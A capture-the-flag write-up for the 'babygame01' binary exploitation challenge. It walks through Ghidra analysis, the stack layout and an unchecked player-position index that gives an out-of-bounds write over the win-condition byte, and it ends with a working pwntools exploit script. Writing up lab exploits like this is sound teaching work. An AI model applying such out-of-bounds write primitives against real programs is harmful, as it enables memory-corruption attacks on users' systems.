Skip to content

Latest commit

 

History

History
executable file
·
139 lines (98 loc) · 5.69 KB

File metadata and controls

executable file
·
139 lines (98 loc) · 5.69 KB

babygame01

Overview

Category: Binary Exploitation

100 points

Tags: #writewhatwhere #outofbounds #integermath #underflow

Description

Get the flag and reach the exit.

Welcome to BabyGame! Navigate around the map and see what you can find! The game is available to download here. There is no source available, so you'll have to figure your way around the map.

Approach

Began by disassembling the game binary within Ghidra and analysing the output.

Also checked the binary security with pwntools checksec :

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Searching the disassembled output for references to flag, we find the win() function that opens and reads a flag.txt file and displays its contents to standard output. Following the incoming references to this function (of which there is only one) the following conditional logic is found in main() :

puts("You win!");
if (local_aa4 != '\0') {
  puts("flage");
  win();
  fflush(stdout);
}

To trigger this condition we must firstly win the game and the local variable local_aa4 must be non-zero to drop the flag.

Visualising the local variables within the stack frame of main() from the disassembly, augmented with purpose from analysis of functions (main(), init_player() and move_player()) :

(stack top - lower address)
  |                  |
  |      . . .       |
  | local_aac        | [$EBP - 0xAAC]               player_y_pos (or row in map)
  | local_aa8        | [$EBP - 0xAA8]               player_x_pos (or column in map)
  | local_aa4        | [$EBP - 0xAA4]  char         flag_win_condition (!= 0)
  | local_aa0        | [$EBP - 0xAA0]  char[2700]   map_buf  
  | local_14         | [$EBP - 0x14 ]
  | local_10         | [$EBP - 0x10 ]
  |      . . .       |
  |                  | 

init_player() takes the address of local_aac and writes three words, array indexing flowing into subsequent parameters of main() :

local_aac[0] = 4                    = player_y_pos (or row in map)
local_aac[1] = 4   ---> local_aa8   = player_x_pos (or column in map)
local_aac[2] = 0   ---> local_aa4   = flag_win_condition (!= 0)

This also tells us our initial starting position is always { X, Y } = { 4, 4 }.

init_map() confirms the purpose and ordering of the player position coordinates, as detailed above. It also exposes the exit position which is the game win condition, that is the player must reach { 29, 89 } = { 0x1d, 0x59 }.

Analysing move_player(player_y_pos, input_char, map_buf) for potential underflow/overflows, we fine the commands accepted to move our position around are:

l = set player title to next character input from stdin
p = solve the round (moves player automatically to the end point and game win condition)
w = move up
s = move down
a = move left
d = move right

The actual moving of the player position is achieved via the following code in move_player() :

if (param_2 == 'w') {
  *param_1 = *param_1 + -1;
}
else if (param_2 == 's') {
  *param_1 = *param_1 + 1;
}
else if (param_2 == 'a') {
  param_1[1] = param_1[1] + -1;
}
else if (param_2 == 'd') {
  param_1[1] = param_1[1] + 1;
}
*(undefined *)(*param_1 * 0x5a + param_3 + param_1[1]) = player_tile;

or, substituing with our variable names and making the code a little easier to read :

*map_buf[(player_y_pos * 0x5a) + player_x_pos)] = player_title

Two things we can notice here:

  1. There is no bounds checking on position increment/decrement operations
  2. These new player position values form the index of an array dereference

Therefore we have found the exploitable code, we control the player position values and hence can control the dereferenced array entry (and hence address) and the character that gets written there, forming a write-what-where primitive.

So our aim here will be to underflow the map_buf array and write a non-zero value to the local_aa4 our flag_win_condition, which was initialised to zero by init_player().

local_aa4 immeditely preceeds the map_buf[] on the stack, as seen in our stack frame layout above, the player position is written as a single character (byte), as is the flag win condition test. local_aa4 is 32-bit word aligned on the stack, hence we want to write to the Least Significant Byte (LSB), keeping in mind endianess.

This means an effective position of { 0, -4 } will write the player_title character to the LSB of local_aa4.

Solution

Plan of attack :

  1. Move player position from { 4, 4 } to { 0, -4 }, this underflows the map_buf[] and writes the player's position character over local_aa4 (satisfying the non-zero flag win condition)
  2. Solve the round to end the game and test the flag win condition
  3. Submit the flag

Final pwntools script used in the event :

#!/usr/bin/env python3

from pwn import *

target_elf = ELF("./game")

# command line support for local, remote and gdb modes
if len(sys.argv) > 1:
  if "remote" in sys.argv:
    if len(sys.argv) > 3:
      target_proc = remote(sys.argv[2], sys.argv[3])
    else:
      print('usage: ./pwn-game.py remote <server> <port>')
      exit(1)
  elif "gdb" in sys.argv:
    target_proc = target_elf.process()
    gdb.attach(target_proc)
else:
  target_proc = target_elf.process()

target_proc.recvuntil(b'..X')
target_proc.sendline(b'w'*4 + b'a'*8 + b'p')
target_proc.recvuntil(b'You win!')
target_proc.interactive()